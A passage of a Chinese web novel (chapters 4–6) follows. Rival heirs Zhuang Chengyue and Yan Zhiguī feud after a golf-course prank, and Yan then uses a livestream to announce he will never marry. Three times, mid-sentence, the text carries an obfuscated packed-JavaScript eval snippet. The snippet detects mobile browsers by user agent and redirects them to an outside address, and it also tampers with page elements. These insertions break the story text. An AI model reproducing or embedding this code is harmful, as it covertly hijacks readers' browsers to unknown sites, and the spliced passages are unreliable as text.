“他又不傻,肯定猜到被人耍了,我出不出现都得赖在我头上。” 唱唱跳跳的不仅身上暖和了一些,庄乘月也不觉得怕了。 大灯突然“砰”地打开,周围恢复了光亮,更是令人安心。 也更证明这就是一场针对自己的恶作剧。 现在压力给到对方,看他怎么收场! 庄乘月原地坐在草坪上休息,耳朵动了动,捕捉到了空气中“嗡嗡”的声音,一转头便看见有台无人机在上空飞舞。 “呵。” 他抬起手,对它比了个国际友好手势,然后勾了勾手指,示意“你过来啊”! 许是已经被发现,也就肆无忌惮,那无人机大大咧咧地飞到他近前,甚至还摇头晃脑,显然是在挑衅。 庄乘月笑眯眯地盯着它,身手敏捷地捡起地上的高尔夫球杆,奋力一挥—— “咣当”一声,无人机阵亡了。 不远处传来三下掌声,他循声望去,见晏知归西装革履地坐在一辆高尔夫球车的驾驶位,一条长腿踩在地面,脸上挂着意味深长的笑。 4. Chapter 4 “晏乌龟,果然是你!” 庄乘月拎着手里的球杆,气势汹汹地冲过去,对着车头上的挡风玻璃“咣”地一砸。 玻璃应声而碎,裂成一摊粒子,“哗啦”一声四散落下。 幸亏晏知归料到他得来这么一下,当机立断地从车里跳出去,完美闪避。 “我去!庄乘月你是不是疯了?!”副驾驶座位上的苏元意也跳下车,拿手里的无人机手柄挡着脸,“你赔我草坪!赔我无人机!赔我球车!” 晏知归无奈地看了他一眼,发小对自己算是心地善良,无奈确实智商不详。 “我呸!”庄乘月单手拿着球杆指着苏元意,“我才想起来,这家高尔夫俱乐部是你家的,这馊主意是不是你出的?!看我不给你打个生活不能自理!” 他挥着球杆冲了过去,被挡在前边的晏知归握着杆子拦住。 既然是好友找事在前,晏知归不好拉偏架,语气尽可能平和地说:“不用你赔,这笔账记我身上。” “少在这里装大方!”庄乘月一甩球杆,挣脱他的手,猫儿眼瞪得溜圆,“当然记你头上!他还不是为了你出气!” 琥珀似的眼睛被灯光映得剔透,清晰地泛着想吃人的光,看得出他是气得厉害。 晏知归摊了摊手:“你想怎么办,冲我来,这次我不反抗。” “美得你,我还能让你这个抖M爽了?!”庄乘月手指比出个“v”字型,指了指自己的眼睛,又指指苏元意,“走着瞧。” 苏元意:“……” “小庄总,真不好意思,我……”忙完的王总坐着球车匆忙赶过来,看到眼前这炸裂的画面,一时无语。 在场的另外两人他并不陌生,都是江海市各个豪门的继承人,哪个他也惹不起! 庄乘月向来讲究一个冤有头债有主,绝不胡乱发飙,猜也能猜到他肯定是被苏元意想办法给绊住了脚,自然不会跟他追究。 他把手里的球杆往地上一扔,霸气全开地说:“王总,别担心,这事儿和你无关。时间不早了,今天就到这儿吧。” 兜里手机响了,是曹怀周打来的:“月儿,我在会员中心了,怎么过去找——” 声音戛然而止,显然是最后一点电量被耗尽。 庄乘月把手机塞进口袋,指向苏元意:“你,打个电话给你会员中心前台,通知他们好好招待曹怀周。” 他们都是从小学到高中的私校同学,从划分小帮派开始已经斗了无数次,彼此间也算知己知彼。 曹怀周既然站庄乘月这边,苏元意跟他就是敌人,不爽道:“我凭什么?!” 庄乘月不跟他多说,微微仰着头,盯着晏知归,眼睛释放死亡射线。 “打。”晏知归言简意赅地给苏元意下了指令。 两军对垒多年,以往的交战也讲究各种策略,这次利用对方弱点,多少有点胜之不武,称不上光彩。 弥补的态度还是要端正些。 这么一折腾,王总不可能再继续打球,只能跟着他们一起返回。 晏知归开的是四座高尔夫球车,为的就是把庄乘月这个活爹给带回去,然而庄乘月怎么可能跟仇人坐一起,他把王总赶到他们那辆车上,自己跟球童坐两座车。 抵达会员中心大楼,一行人下了车,跟王总告别之后,前往苏元意的SVIP休息室。 庄乘月昂首挺胸地走在最前边,让比他高出一个头皮还多的晏知归两人跟在后边,顺手揪了一个工作人员给自己带路。 工作人员战战兢兢地看了眼自家二少爷黑锅底一般的脸,并未得到任何示意,便只好带他们走了专用电梯,尽职尽责地将人送到目的地。 庄乘月推门进去:“老曹!” 曹怀周正翘着二郎腿在沙发上品鉴一杯红酒,闻言立刻站了起来,进入战斗状态。 四个身高腿长、各具特色的公子哥儿面对面站着,彼此向对方投去不爽的眼神。 作为娱乐公司的少东家,曹怀周的个人皮肤极具时尚属性—— 一双看起来不怎么正经的桃花眼,一头精心设计、长度到肩的蓬松黑卷发,宽松的白色潮牌衬衫于腰间收紧,凸显出两条被黑色九分休闲裤包裹的逆天长腿。 他不怀好意地笑了笑:“苏总,晏总,好久不见。” 晏知归俩人没心情和他互相问候,只想着怎么把这俩烫手的山芋请走,就听曹怀周突然高八度地吼了一嗓子:“乘月,你脖子怎么了?他们是不是欺负你了?!” 庄乘月看到桌子摆着的几盘小点心,觉得有一点饿,刚一屁股坐下,正要伸出爪子去采食,被他喊得哆嗦了一下。 “我怎么了?”他刚才就感觉有点痒,但没注意,这会儿一摸,突然痒得厉害。 晏知归的目光落在他修长的脖颈上,见上头浮现了几个明晃晃的大包,红得厉害,跟他白皙的皮肤形成鲜明的对比。 昳丽得有点晃眼。 曹怀周急吼吼地掏出手机调到前置摄像头,递到庄乘月面前:“你看!” “嚯!”庄乘月抻长了脖子照着,“被叮了这么多包?!脸和手上也有!” 他穿着长袖长裤的运动服,露在外边的皮肤也就脸、手和脖子,统统成了秋蚊子的重点关注对象,脖子是重灾区。 曹怀周一秒戏精上身,双手握着他的肩膀前后摇晃,悲愤欲绝:“他们到底对你做了什么?!” “行了,演什么演。”苏元意没好气地说,“想怎么办,痛快说,要杀要剐悉听尊便!” 庄乘月下意识地不停挠,从腮帮到脖颈红成一片。 晏知归觉得他挠痒的动作有点像小猴,忍不住勾了勾唇角。 “还笑?!我毁容了!明天我还有直播,现在出不了镜,这个责任你负得了吗?!”庄乘月横眉冷对,“赔偿我的损失!” 苏元意嗤笑:“又不是商业活动,你有什么损失,难不成你还要带货?庄家已经没落到这个地步了吗?” “没有商业价值的人当然不懂。”庄乘月挠着腮帮子,高贵冷艳地飞了他一个白眼,“我没义务对你免费教学。” 曹怀周配合地说:“我们月圣在moon上的账号有两千万粉丝,他直播能为平台带来多少流量,你自己算算呢?脑子不要可以捐了。” 苏元意指着他威胁:“你——” “元意,你们这儿有治蚊虫叮咬的药膏吧?叫人送一盒过来。”晏知归打断他,目光落在挠痒猴子身上,“我和他谈谈。” 苏元意知道这是要支开自己,没心情恋战,大步离开。 庄乘月黑白分明的眼珠一转,点子这不就来了么! 晏知归脱掉西装外套,搭在沙发靠背上,松了松领带,捏住大腿位置的裤管轻轻向上一提,在对面的沙发坐下,双肘架在腿上,隔着茶几向前微微探身,看着他:“你打算让我怎么补偿?” 一连串小动作丝滑得很,像是在起范儿。 “到底发生了什么?”曹怀周问庄乘月,“我得先了解情况的严重程度才能替你谈判。” 庄乘月捂着嘴巴凑近他耳朵,小声说了几句。 曹怀周惊讶地瞪大眼睛:“纳尼?!”接着义愤填膺地看向晏知归,“你们真是毫无人性!” 面对这个气氛组,晏知归无语地闭了闭眼:“废话少说,提条件。” “你确定要替苏元意扛?”庄乘月往嘴里塞了一块小蛋糕,被蚊子叮红的那半边脸颊鼓得圆圆的。 “是。” 庄家家规严,嘴里含着东西绝不开口,庄乘月瞪着溜圆的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848978|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚼嚼嚼,把嘴里的东西咽下去之后才再次开口:“既然我没办法直播,你来替我。” 晏知归眯起了眼睛。 有诈。 曹怀周瞬间就明白了基友的用意,附和:“对,注册moon账号,开你自己的直播间。” “用你那微不足道的影响力勉强替我弥补一点损失。”庄乘月说。 晏知归沉吟片刻:“时间,时长,内容。” “明晚八点钟,时长一小时,内容……”庄乘月坏笑了一下,露出深深的单侧梨涡,“分享你的私生活。” 坏笑转移到了晏知归脸上:“对我感兴趣?” 庄乘月按住茶几向前探身,凑到他面前,细细观察。 晏知归丝毫没有退缩,平静地与他对视,目光一错,发现他脸上的蚊子包确实有逐渐壮大的趋势,皮肤红红白白的,倒是细腻。 上学的时候就有传言,说庄乘月从小就用牛奶洗澡,以至于肤色极白,一碰就留印子。 以前他没注意,这次看着,好像所言不虚。 娇气。 “看什么?”他冷淡地问。 “我研究了一下,实在难以对你产生兴趣,倒是发现晏老三你的脸,真大。”庄乘月往后撤开身体,双手比了个圆,“正月十五的月亮都没你的大。” 曹怀周哈哈大笑起来:“晏总想什么呢?你全身上下都没什么直播的噱头,也就是你这晏家三少爷的身份可能还值点流量。” “说不定还能在线帮你征个婚,解决一下个人问题。”庄乘月撕开另一个小面包,漫不经心地说,“要不然,啧啧,商业联姻都未必有人愿意让自家孩子跟你受罪——你介意在节目上公开性向吗?” 晏知归的深窝眼闪过一抹淡淡笑意,站起身整了整衬衫,拎起西装:“想知道?明天告诉你。” “你真的要让晏知归在moon上直播啊?” 停车场的乔治巴顿缓慢开了出去,车里曹怀周一脸疑惑地问庄乘月。 晏知归走后,苏元意也懒得进来跟他们废话,只让人送来了药膏。他俩在vip休息室里大吃大喝,填饱了肚子涂好了药才大摇大摆地离开。 曹怀周觊觎庄乘月的这辆车许久,无奈家里不肯给他买,一旦有机会非得来蹭坐,庄乘月就让自家司机去开他的车,让助理姜易开这辆。 脸和脖子虽然涂了药,但还是有点痒,庄乘月时不时用手指戳戳蚊子包:“来呗,反正我也播不了,拿他当个噱头带一带流量也不错。不过我真没想到他会答应。” “你不怕他给你挖坑吗?”曹怀周觉得此事大有可疑,“事出反常必有妖。” 庄乘月轻蔑地笑了笑:“一个直播他能给我挖什么坑。” “但他又没直播过,万一……” “没直播过最好了,反正丢他自己的人。”庄乘月琢磨了一下,“不过确实得好好准备一下,让他明天来公司直播,找最有经验的主持人带他。” 曹怀周点点头:“这个靠谱,到时候咱们去围观。他真的会在直播里自爆性向吗?平时捂得那么严,这几年都没见狗仔挖出来过。虽说现在男男也能领证,但他们家恐怕不能让他这么随心所欲。” “他啊,自恋吧,除了他自己能恋谁。”庄乘月夸张地感叹,“别管男的女的,谁跟他联姻一定惨,天天看着那么一张脸,饭都吃不下去。” “谁不说呢!”曹怀周啧了一声。 庄乘月突然坏笑着转头看他:“你可小心晏家野心大,突然想进军娱乐业,转头跟你家联姻。” “妈耶,大晚上不要说这种恐怖的话!”曹怀周拉住他的手,表情夸张地演了起来,“为了我的安全,明天咱俩先领个证吧。” 庄乘月笑着啐他:“滚蛋,本少爷是直男!” 5. Chapter 5 转过天来一大早,moon直播app推送了这样一条消息: 【报!晏家三公子、英嘉科技掌舵人晏知归今晚做客直播间,英俊帅气的他会首次公开性向哦,会是你猜测的那种吗?八点钟不见不散!】 这么劲爆的预告一发出去,直播间预约人数“嗖嗖”上涨,没多久就突破了首个百万。 “晏乌龟人气还真是挺高的。”庄乘月睡醒之后躺在床上一直刷手机,小声嘀咕。 外边传来敲门声,还有乔轻云的声音:“小月,是妈妈,醒了吗?” “醒啦!皇后请进门!” 乔轻云裹着睡袍推开门,带着一脸姨母笑飞快地穿过套房外边的客厅,冲进了里边的卧室。 “妈妈,你打听八卦的时候脚步轻快得好像一个少女。”庄乘月笑眯眯地靠在床头,撩起被子,“来,进被窝!” “晏家老三真的要去moon的直播间?不是来搞破坏的吧?”乔轻云上床盖好被子,迫不及待地问。 庄乘月得意地笑了笑:“是不是个大噱头?谁叫他和苏元意害我被叮了这么多包,来一次都不够还的,要是他敢搞破坏,就算用尽所有力气和手段,我也得让他给我签卖身契,播一辈子!” “哎哟我可怜的宝,妈妈看看。”乔轻云捧起儿子的脸左右端详,指尖划过细腻白皙的皮肤,“幸亏好了不少,昨天晚上你脸和脖子都是肿的,心疼死我了。” 庄乘月握住拳头:“哼哼,我会让他还回来的!” 与此同时的晏家,晏知归已经穿好了上班皮肤——焊在身上的手工定制西装——去楼下餐厅与全家人共进早餐。 一进门,就听见二哥阴阳怪气地“哦豁”了一声,大声道:“咱们家的大网红来了!” “你又发什么疯?”晏知归走到他对面,拉开椅子坐下。 他迅速观察周围,发现父亲和奶奶的脸色很难看,大哥低头憋着幸灾乐祸的笑,大嫂则一脸无奈。 继母应该是在楼上拉扯她那个起床困难症的儿子,没有在现场。 晏知恩对着他晃了晃手机:“你晚上要去moon直播的事儿都上热搜了。诶,我先访问下你,奶奶前阵子还说让你别跟他来往,你把这话就饭吃了?怎么就非得跟他纠缠不清?就这么恨海情天、虐恋情深吗?” 尽管晏知归不知道这事儿,但这在他的预判中。 庄乘月怎么可能不拿他来宣传?不用看都知道宣传语会很过分。 他转头看向柴芷青和晏宇安:“奶奶,爸,这次是我第一次个人直播,既然做互联网,肯定避不开这些新兴事物,我作为英嘉科技的总经理,打造个人品牌也是个方向,这次就是试试水。” 听说是跟生意有关,晏宇安的表情缓和了些,但还是说:“难道没有别的直播平台了吗?” “moon在上升期,用户增长快,而且庄乘月想我出丑,会不遗余力替我宣传,这个机会不用白不用。”晏知归镇定地回答。 晏宇安点点头:“试试可以,但不许乱说私事。” “他那就是宣传手段。嘴是我的,到时候怎么说、说什么,还是由我说了算。”晏知归冲柴芷青笑笑,“奶奶您放心,我绝不会给晏家丢脸。” 柴芷青也曾是英嘉集团的二把手,是个与时俱进的老太太,对于这些流行事物并不抗拒,听到他这么说,表情也松弛了些。 “你记着这个就好。”她低头喝了口粥,又问,“之前让你跟祁家二姑娘见面的事,你跟人定时间了吗?” 晏知归拿吐司的手顿了顿,随后笑道:“这两天有点忙,稍后一定尽快敲定时间。” “不是要你立刻订婚结婚,先相处看看,实在处不来我也不会勉强。”柴芷青说,接着转向晏知恩,“二小子,你也是。” 晏知恩连忙道:“明白,明白!” 晚上六点半,庄乘月还有曹怀周一起在逐月传媒所在的写字楼大厅“恭迎”晏知归,以示“尊敬”。 助理姜易隔着门玻璃盯着外头,认出对方的车牌号,立刻回头通知自家老板:“乘哥,到了。” 庄乘月对曹怀周使了个眼色,俩人脸上挂着“我有一肚子坏水”的表情向外走去,前者因为长得太可爱而显得狡黠顽皮,后者由于形象过于放荡不羁,看起来像个二流子。 晏知归坐的是公司配车,保守的黑色宾利,他西装革履地从车上下来,看上去不像是来直播,倒像是来参加什么商务宴请。 又或者像是要走红毯。 与他相比,庄乘月和曹怀周仿佛清澈的大学生和不靠谱的流浪诗人。 “欢迎晏总大驾光临!” 晏知归要来的消息已经满天飞,附近八成埋伏着狗仔,为避免被乱写,庄乘月非常礼貌地伸出手去,以示友好。 “庄总客气了。”晏知归握住他的手,用力一捏。 这不是他故意的,而是很多场合中,男性之间握手,力度是自信与气场的象征,他习惯了。 只是他没想到庄乘月的手,还挺软。 大提琴艺术家被他捏得虎躯一震,咬住了后槽牙,猫儿眼已经瞪了起来。 “抱歉。”晏知归淡淡一笑,“没想到庄总还是这么身娇体弱。” 庄乘月龇牙露出商务假笑:“我也没想到晏总这么火大尿黄。” “我以为艺术家说话都温文尔雅。”晏知归居高临下用眼梢瞟他。 “我还以为霸道总裁都胸怀宽广。”庄乘月好整以暇对他眨眨眼。 跟在旁边的曹怀周没憋住笑,鼻子“哼哧”一声发出猪叫,用手肘捣了捣庄乘月:“你俩好像说相声的。” 庄乘月面无表情:“嚯,好家活!不能够啊,这都不挨着。我可去你的吧!” 众人已经进了电梯,小小的电梯间里充满了快活的空气。 晏知归其实也想笑,但憋住了。 他跟庄乘月并肩而立,看着电梯门反光里青年一身花里胡哨的宽松卫衣,想起了自己给对方取外号的契机。 中学时期这家伙就能说会道,小嘴叭叭的整天叽嘹暴跳,参加任何聚会都在人群中左右逢源,一次学校宴会,先是苏元意看着他发出感叹:“庄乘月真是满场飞,跟个花蝴蝶似的。” “你见过举着大刀的花蝴蝶吗?”当时的晏知归冷笑。 苏元意想了想:“举着大刀?那不得是螳螂?” “嗯。”晏知归看着人群里格外出挑的庄乘月,自认公道地说,“兰花螳螂。” 虽然攻击力强,但的确貌美。 庄乘月带着晏知归进了直播间,先让化妆师给他弄下妆发,自己在旁边看着,状若无意地问:“传给你的问题列表你都看了吗?” “看了。”晏知归盯着镜子里的他,意味深长地说,“你最好真能照着列表问。” “那必须,我们是专业的。”庄乘月一双猫儿眼写满了狡黠。 经过简单的彩排,八点钟直播正式开始,一瞬间直播间里就涌入了大量观众。 在专业主持人的引导下,晏知归跟网友们问好,浅谈了一些破冰的话题,观看者人数不断往上跳。 “我去,可以啊。”隔着不远的沙发上,曹怀周捧着平板,盯着界面上不断增长的数据感叹,“十分钟来了四百万,这什么先天流量圣体,乘哥,你平时直播也就比这略高吧。” 意识到自己有一点失言,他转头看旁边的庄乘月:“我不是那个意思。” “无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848979|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓,反正是给我们moon引流。”庄乘月满不在乎。 直播进行了十几分钟,刷屏的弹幕开始嚷嚷着进入正题: 【别水了别水了,快聊点干货!】 【姐不是来看这个的,不是要自爆性向吗?】 【要听劲爆的!】 主持人难掩脸上的姨母笑,转头看向坐在那里也像个兵的晏知归:“那么晏先生,应广大网友的要求,我们来聊一点有关你个人的事情吧?” “好啊。”晏知归淡淡笑道。 曹怀周苍蝇搓手:“嘿嘿,刺激的来了!” 庄乘月翘着二郎腿坐在沙发上,觉得事情没这么简单。 主持人先亮出第一个问题:“能不能聊一聊您现在的感情情况?在谈了吗?” “感情?”晏知归莞尔一笑,“这是大家都关心的问题吗?” “当然啦,你看我们的弹幕都刷疯了。” 晏知归低了低头,眼角不经意地瞥向不远处的庄乘月,随即调整了下坐姿,清了清嗓子: “恋爱可能是现在年轻人最关心的情感话题,毕竟在辛苦疲劳打拼一天之后,两个灵魂相互慰藉,就像做一次心灵马杀鸡,整个人都能得到放松。但是,合适的恋人未必能很快找到,勉强将就也会伤人伤己,所以……” 这是什么蹩脚宣传文案? 庄乘月倍感不妙,下意识坐直了身体。 “我们英嘉科技最新研究出了一款智能恋爱机器人,完全可以起到临时陪伴的功能,当你累了一天回家,它可以陪你聊天,给你讲故事讲笑话哄你开心,如果家中已经有了英嘉其他的智能设备,就可以让机器人控制它们,保证你在进家门的时候,空调已经调到最佳室温,壶中开水已达适宜引用温度,灯光调至最舒服的光线,甚至连电视也可以找出你最喜欢的剧集或者综艺时刻准备播放。” 曹怀周傻了眼:“我去,这哥们儿跑这儿带货来了?!” 庄乘月倒是毫不意外,冷笑道:“这才对劲,你这觉得他会老老实实地有问必答?他爱宣传就宣传,反正网友不买账,伤的是他的人气。” 果然,这种离谱的答案让大家很不满意,纷纷抱怨,晏知归这么驴唇不对马嘴地回答了几次之后,直播间的人数大幅减少。 庄乘月通过耳机告诉主持人:“继续追问,我就不信他有这个厚脸皮,能无数次逃避问题。” 主持人已经进入人机模式,不断重复问道:“晏先生现在有没有伴侣呢?方便透露一下伴侣的性别吗?” 许是注意到了面前大屏幕上网友的不满,又或许是觉得一味逃避不是办法,晏知归不再进行带货发言,而是淡淡笑了笑,毫不掩饰地往庄乘月的方向看过来。 庄乘月心中警铃大作。 死乌龟没安好心! 果然,下一秒就听晏知归说:“这种私密的话题,还是跟朋友聊比较容易敞开心扉,不如让乘月过来一起?” 曹怀周倒吸了一口凉气:“小混球好算计啊!”他转头看向庄乘月,“你去吗?” 庄乘月垂眸觑着界面上不断刷新的弹幕,都在群情激昂地呼唤他的出现。 【蛙趣,月圣在啊?太好了!快出来快出来!】 【他俩不是死对头吗?居然是朋友?我是不是错过了什么?】 【晏知归能上moon直播我就知道不简单,肯定有活儿!】 【月圣不会怂了吧?】 这话深深刺伤了庄乘月的视网膜,再看到直播间增加人数重新刷高,他一咬牙一跺脚,站了起来:“去,怎么不去?我会怕他?” 隔着四五米的距离,他跟晏知归对上了眼神。 视线短兵相接,火花四溅。 6. Chapter 6 晏知归当然不会乖乖地来直播,这次不过是要一箭三雕罢了。 能为公司宣传多少算多少,英嘉科技的产品销路很好,他并不愁卖,给自己吸吸粉也是顺便的事,不追求真成为网红,毕竟流量是一把双刃剑; 逗一逗庄乘月也是必须的,怎么可能让他轻易得逞,看到他气鼓鼓地瞪起猫儿眼,自己就莫名畅快; 至于第三雕,一会儿再说。 主持人眼看庄乘月走过来,谨慎地问道:“需要暂停做一下妆发吗?”又转向镜头解释,“月圣受了点伤,不然不会取消今天的直播。” 晏知归则一副熟人面孔:“是昨天打夜场高尔夫被叮了几个包,现在好多了。”侧脸言笑晏晏地看过去,“乘月一直好看,用不着上妆。” 三言两语,把网友钓成翘嘴,弹幕刷疯了。 【啊啊啊啊!他俩真的是死对头吗?为什么晏知归的语气这么宠溺?】 【是不是表面互相嫌弃,私下床上打成一团的关系?!】 【昨天一起打的高尔夫吗?怎么知道得这么清楚?】 【原谅我要狠狠嗑一下邪门cp了,还有什么比宿敌更好嗑的?】 【宿敌就是宿敌,宿敌是不可以变成妻子的,所以宿敌只能是妻子,哦不,我是说,所以妻子只能是宿敌「doge」】 【哦莫,他俩的对视,好有张力啊!】 晏知归看着款款走来的庄乘月,眼中三分戏谑两分漫不经心五分暗爽; 庄乘月咬紧后槽牙,从眼角睨着晏知归,猫儿眼隐约有被拉伸成凤眼的趋势,看起来有那么一点媚而不自知。 【月圣被蚊子叮得确实有点惨。】 【楼上这么纯爱吗?晏知归说是蚊子就是蚊子?】 【这蚊子怕不是姓晏?】 【蚊子包看起来好像那个诶!怪就怪月圣皮肤太好,容易留下印子。】 【妈耶,要是庄家和晏家联姻,简直不敢想象!】 庄家大客厅里,全家人围坐在电视机前,投屏看直播现场,看到弹幕的胡言乱语,集体疑惑。 不知道嗑cp为何物的庄老爷子一头雾水:“小月那不是蚊子包吗?” 庄新远略显尴尬:“是蚊子包,别听网友胡说。” 乔轻云啧了一声:“本想吃点瓜来着,怎么说到我们小月头上了。” 庄苡然表情冷淡中夹杂着嫌弃:“晏家那个小混蛋果然给小月挖坑。” 宋乾愤愤不平:“给向薇打电话,让她把直播封了吧。” 庄苡歆吐出瓜子皮:“别啊,月宝想封自己会封,既然他敢露面,肯定有招。” 晏家主厅,柴芷青在看电视剧,晏宇安在陪她。 不远处的偏厅里,茶几上电脑里放着直播画面,晏知遇、方舒亚、晏知恩还有继母阮美兰凑在一起观赏。 “老三可以啊,耍得那败家子团团转。”晏知恩往嘴里塞了把爆米花。 晏知遇表情冷淡:“这种直播还想着带货,跟网友玩预期违背是吧?他怎么不去演小品呢!就知道在爸面前说漂亮话。” “他跟乘月是不是关系没那么差?”方舒亚盯着弹幕小声嘟囔。 阮美兰嗤笑:“他俩要是真私下里谈,不知道庄家怎么样,反正妈能扒了知归的皮!联姻是不可能联姻的,世界毁灭都不可能联姻。” 直播间里,庄乘月坐在原本主持人的座位上,跟晏知归并排,冲镜头打了个招呼:“哈喽家人们,抱歉今天状态一般,不过既然晏总力邀,我就献丑了。大家想听什么问题,我来帮你们盘他!” 好家伙,这话一出,弹幕哗啦啦刷过一片,好些被系统自动转化为*号。 庄乘月盯着屏幕,笑了笑:“大家问点能播的。” “我看这样吧,咱俩闲聊就行,有些问题聊着聊着就出来了。”晏知归一副不把自己当外人的态度,笑容比私下里多了三倍,“你平时直播都做什么?” “我啊,就是跟大家聊天,唱唱歌、跳跳舞、拉拉琴,这些你会吗?”庄乘月挑衅地偏头看他,对着镜头的侧脸勾起了唇角,假装在笑。 晏知归双手十指交叉放在腿上,姿态十分放松,显然是有备而来:“我的特长好像不太方便在这儿展示,比如击剑、拳击、篮球、钢琴。”意味深长地看了庄乘月一眼,“还有赛车。” 【击剑?是我想的那种击剑吗?】 【拳击可以展示啊,撕开衬衫露一下腹肌看看!】 【会钢琴呢,跟月圣可以合奏吧?】 【我看他就是在开屏!】 “唱歌倒是可以唱两句,不过我喜欢的都是老歌,比如《征服》。”晏知归露出促狭的笑容。 庄乘月知道他在阴阳自己。 上次两人在赛车场狭路相逢,自己落后了一个车头输掉了比赛,被迫单膝跪地对他唱了这首歌。 当然,月圣不会尴尬,只会让别人尴尬。 他把赛车场当成了打歌舞台,唱得那叫一个声情并茂、声泪俱下,结合歌词内容,衬托得晏知归宛若一个渣男。 然而,最初的尴尬过去,晏知归却时不时回味起那个画面。 犹记得那一晚,皓月当空,身形颀长的青年穿着火红的赛车服,单膝下跪,眼中并无被侮辱被损害的神情,漂亮的猫儿眼在月光下熠熠生辉,歌声充满深情。 “终于你找到一个方式分出了胜负,输赢的代价是彼此粉身碎骨,外表健康的你心里伤痕无数,顽强的我是这场战役的俘虏。”(注) 副歌部,分庄乘月站起身,双臂张开,面对赛场天空大声嘶吼:“就这样被你征服,切断了所有退路,我的心情是坚固,我的决定是糊涂……” 虽然没有让手下败将尊严扫地的爽感,但另一种莫可名状的感觉让晏知归隐约生出了一种愉悦。 或许因为那夜月色太美,歌也很好听,而自己赢了比赛,心情实在太好。 脑海中回忆到这儿,他饶有兴趣地拍着腿打节拍,接着回忆轻声哼了起来:“就这样被你征服,喝下你藏好的毒,我的剧情已落幕,我的爱恨已入土。” 见他的表情十分戏谑,像是在回味把自己踩在脚底下的舒爽,庄乘月猛然意识到好像节奏被他给带跑了,立刻就要打反击战。 “来来来,伴奏起!麦克风给我!”虽然领口别了麦克风,但他还是要了手持麦,基友曹怀周非常有眼力见儿地找了伴奏,接了音响当场放出来。 有了BGM,庄乘月立刻气场两米八,侧身看着晏知归,咬牙切齿地改了间奏两句词,还唱出了怒音:“我如果经过你的坟墓,我一定双手合十,为你祝福——” 晏知归好整以暇,抱起双臂单手拈着下巴欣赏,觉得他叽嘹暴跳的样子实在有趣极了。 唱到最后,庄乘月还把麦克风递到晏知归面前,示意他跟自己合唱。 俩人一个站一个坐,彼此相望着唱了几句,脑子里各走各的爽文剧本,不知道直播间弹幕刷疯了: 【他们俩之间这张力!啧啧!】 【之前月圣直播间里也来过其他豪门公子,没人像他俩这么好嗑!】 【我不要看你们唱,我要看你们俩演MV!原版MIV!】 【年轻的孩子们快去翻原版MV,那才叫赤激!】 【哦妈妈,以前的艺术创作这么大胆的吗?】 庄家众人只顾欣赏自家宝贝儿唱歌的丰姿,晏家那几个嫌弃地把画面给静音了。 现场的曹怀周挥舞着双手给基友打call,脑海里把晏知归按在地上摩擦。 倒是苏元意,在办公室里一直看直播,这会儿注意到弹幕,又去搜了搜古老的MV,咂摸出来了一点奇怪的味道:“我艹?” 到底谁不对劲? 一曲高歌结束,直播间的气氛直达顶峰,在线观看人数突破六百万! 庄乘月倒是真兴奋起来了,在他的舒适区,摩拳擦掌地打算好好盘一盘晏知归。 “不好意思啊家人们,刚才就算是热身吧,现在我们快速进入正题。”他坐下,偏头看着身边的死对头,“气氛到了,实话实说吧,喜欢男生还是女生?现在有交往对象了吗?” 看着晏知归那副安之若素的表情庄乘月就来气,干脆追问了个尺度更大的:“你……还是处男吗?” 【我去我去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848980|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天咱们是来着了!】 【快说快说快说!】 【妈妈我耳朵支棱得好累!】 晏知归始终平静,淡淡地笑了笑:“我你还不清楚?不必说了吧。” “都说要跟网友们交付真心话的,你不会反悔吧?”庄乘月歪着头看他。 “那我们月圣呢?喜欢男生还是女生?有没有交往对象?”晏知归把问题全数归还,凑近了看着他的眼睛,“还是处男吗?” 直播间灯光打得猛,庄乘月方才又唱又跳的,额头沁出了细密的汗珠,眼睛显得湿漉漉的,整个人看起来非常灵动。 【啧,这是什么极致拉扯?】 【他俩到底熟不熟?是真不知道还是在玩情趣?】 【谁懂眼前这一幕的含金量啊就是说!】 【今天我要嗑死在直播间了!】 庄乘月莞尔一笑,向后靠在椅背上:“我你还不了解?疏离了不是?今天你来做客,当然是你回答问题,少拿我当借口。” “好了,不卖关子了,其实没什么不可说的。”晏知归转头看向摄像头,神情认真地说,“喜欢男还是女并不重要,因为我是不婚主义者,只想好好搞事业,不会组建家庭,也不会和任何人有亲密关系。” 说罢,又看回庄乘月,笑容灿烂:“这样够坦白吧?” 庄乘月确实没料到他有这一手,一时之间忘了在他面前的毒舌人设,露出了本体,非常意外地问:“你这样……你家里人知道吗?” “之前不知道,可能现在知道了。”晏知归镇定自若。 对,这就是他今天的第三只雕。 庄乘月眨了眨眼,突然明白过来。 好啊,好啊,晏乌龟你可真好算计,肯定是被家里催婚了,借我的平台,上岸头一剑,先来斩姻缘是吧?! 